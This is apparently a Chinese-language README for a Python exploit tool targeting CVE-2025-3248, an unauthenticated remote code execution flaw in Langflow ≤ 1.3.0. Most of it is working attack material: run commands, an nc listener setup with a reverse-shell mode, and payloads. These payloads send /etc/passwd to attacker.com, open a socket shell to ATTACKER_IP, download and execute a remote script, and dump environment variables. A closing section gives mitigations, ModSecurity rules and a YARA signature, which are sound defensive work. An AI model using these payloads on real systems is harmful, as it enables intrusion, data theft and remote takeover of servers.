一个全面的 Python 漏洞利用框架,用于测试和演示 CVE-2025-3248,这是 Langflow 版本 ≤ 1.3.0 中的一个关键的未经认证的远程代码执行漏洞。
一个全面的 Python 利用框架,用于测试和演示 CVE-2025-3248,该漏洞是 Langflow 版本 ≤ 1.3.0 中的一个严重未授权远程代码执行漏洞。
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2025-3248 |
| 产品 | Langflow |
| 受影响版本 | ≤ 1.3.0 |
| 漏洞类型 | 未授权远程代码执行(RCE) |
| 攻击向量 | 网络 |
| 需要认证 | 无 |
| CVSS 评分 | 9.8(严重) |
| EPSS 评分 | 92.57% |
| CWE | CWE-94(代码生成控制不当) |
| 漏洞端点 | /api/v1/validate/code |
该漏洞存在于 /api/v1/validate/code API 端点,该端点接受任意 Python 代码,并使用 Python 不安全的 exec() 函数进行验证,但未进行适当的输入清理或沙箱隔离。该漏洞利用 Python 的以下行为:
攻击者 → POST /api/v1/validate/code → Python exec() → 远程代码执行
↓
无需认证
↓
任意 Python 代码
↓
系统命令执行
Python >= 3.7
requests >= 2.25.0
pip install requests
pip install colorama # 用于 Windows 颜色支持
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py
python3 cve_2025_3248_test.py -t <目标地址> [选项]
python3 cve_2025_3248_test.py -t http://target.com
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"
步骤 1: 在您的机器上启动 netcat 监听器
nc -lvnp 4444
步骤 2: 运行利用工具
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost 你的IP --lport 4444
示例:
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444
python3 cve_2025_3248_test.py -t http://target.com --timeout 30
位置参数:
无
可选参数:
-t, --target TARGET 目标 URL(例如,http://target.com)[必需]
-c, --command COMMAND 要执行的命令(默认:id)
--timeout TIMEOUT 请求超时秒数(默认:10)
--exploit 启用利用模式(反向 Shell)
--lhost LHOST 用于反向 Shell 的您的 IP 地址
--lport LPORT 用于反向 Shell 的您的端口
-h, --help 显示此帮助信息
payload = {
"code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
pass
"""
}
payload = {
"code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
pass
"""
}
payload = {
"code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
pass
"""
}
payload = {
"code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
pass
"""
}
payload = {
"code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
pass
"""
}
升级 Langflow
pip install langflow>=1.3.0
# 或
docker pull langflow:latest
限制网络访问
# Nginx 反向代理 - 阻止易受攻击的端点
location /api/v1/validate/code {
deny all;
}
实施认证
# 添加认证中间件
@app.middleware("http")
async def auth_middleware(request, call_next):
if "/api/v1/validate/code" in request.url.path:
if not verify_auth(request):
return JSONResponse(status_code=401)
return await call_next(request)
ModSecurity 规则:
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"
YARA 签名:
rule CVE_2025_3248_Langflow_RCE {
strings:
$api_path = "/api/v1/validate/code"
$exec = "exec("
$subprocess = "subprocess"
$os_system = "os.system"
condition:
$api_path and any of ($exec, $subprocess, $os_system)
}
# 监控可疑请求
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"
# 对易受攻击端点的 POST 请求发出警报
auditctl -w /var/lib/langflow -p wa -k langflow_changes
/api/v1/validate/code 的异常 POST 请求/tmp 中创建了时间戳异常的文件漏洞链的工作原理如下:
# 攻击者发送此 Payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
{
"code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}
# 服务器处理它:
exec(code) # ← 危险!没有清理
# 在 AST 解析期间,默认参数被求值:
# exec('import os; os.system("whoami")')
# 结果:任意命令执行
Python 在函数定义时对装饰器的行为:
# 此代码会立即执行:
@decorator_expression
def my_function():
pass
# 这意味着此 Payload 会执行代码:
@exec("malicious_code_here")
def vulnerable_function():
pass
| 日期 | 事件 |
|---|---|
| 2025-04-06 | 发现漏洞并报告给 Langflow 团队 |
| 2025-04-17 | 公开利用发布(Exploit-DB) |
| 2025-05-14 | FortiguardLabs 爆发警报发布 |
| 2025-05-21 | Zscaler ThreatLabz 分析发布 |
| 2025-05-22 | RecordedFuture 报告活跃利用 |
| 2025-06-16 | TrendMicro 报告 FLODRIC 僵尸网络利用 |
| 2025-06-17 | OffSec 综合分析发布 |
| 2025-11-05 | SentinelOne 漏洞数据库条目 |
| 2025-11-20 | 观察到持续的利用尝试 |
在进行授权的安全测试时:
欢迎贡献!请遵循以下指南: